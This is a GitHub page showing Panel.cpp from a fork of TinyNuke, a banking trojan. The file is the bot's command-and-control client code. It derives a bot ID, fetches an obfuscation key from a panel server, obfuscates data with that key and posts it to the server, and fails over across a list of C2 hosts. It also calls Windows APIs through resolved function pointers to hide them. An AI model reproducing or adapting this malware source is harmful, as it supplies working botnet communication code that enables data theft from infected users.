forked from rossja/TinyNuke
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Panel.cpp
74 lines (63 loc) · 1.99 KB
/
Panel.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include "Panel.h"
#include "Utils.h"
#include "HTTP.h"
static char *gKey = NULL;
static char gBotId[BOT_ID_LEN] = { 0 };
static char gPath [256] = { 0 };
static int gHostIndex = 0;
static HttpRequestData gRequest = { 0 };
static CRITICAL_SECTION gSwitchCritSec;
static CRITICAL_SECTION gInitCritSec;
static void SwitchHost()
{
Funcs::pEnterCriticalSection(&gSwitchCritSec);
++gHostIndex;
if(!HOST[gHostIndex])
gHostIndex = 0;
Funcs::pLeaveCriticalSection(&gSwitchCritSec);
Funcs::pSleep(POLL);
}
void InitPanelRequest()
{
Funcs::pInitializeCriticalSection(&gInitCritSec);
}
char *PanelRequest(char *data, int *outputSize)
{
if(!gKey)
{
EnterCriticalSection(&gInitCritSec);
Funcs::pInitializeCriticalSection(&gSwitchCritSec);
char request[32] = { 0 };
Funcs::pLstrcpyA(request, Strs::pingRequest);
GetBotId(gBotId);
Funcs::pLstrcpyA(gPath, PATH);
Funcs::pLstrcatA(gPath, "?");
Funcs::pLstrcatA(gPath, gBotId);
gRequest.host = HOST[gHostIndex];
gRequest.port = PORT;
gRequest.path = gPath;
gRequest.post = TRUE;
while(!HttpSubmitRequest(gRequest))
{
SwitchHost();
gRequest.host = HOST[gHostIndex];
}
gKey = (char *) gRequest.outputBody;
LeaveCriticalSection(&gInitCritSec); //useless
}
HttpRequestData request;
Funcs::pMemcpy(&request, &gRequest, sizeof(gRequest));
request.inputBody = (BYTE *) data;
request.inputBodySize = Funcs::pLstrlenA(data);
Obfuscate(request.inputBody, request.inputBodySize, gKey);
while(!HttpSubmitRequest(request))
{
SwitchHost();
request.host = HOST[gHostIndex];
gRequest.host = HOST[gHostIndex];
}
Obfuscate(request.outputBody, request.outputBodySize, gKey);
if(outputSize)
*outputSize = request.outputBodySize;
return (char *) request.outputBody;
}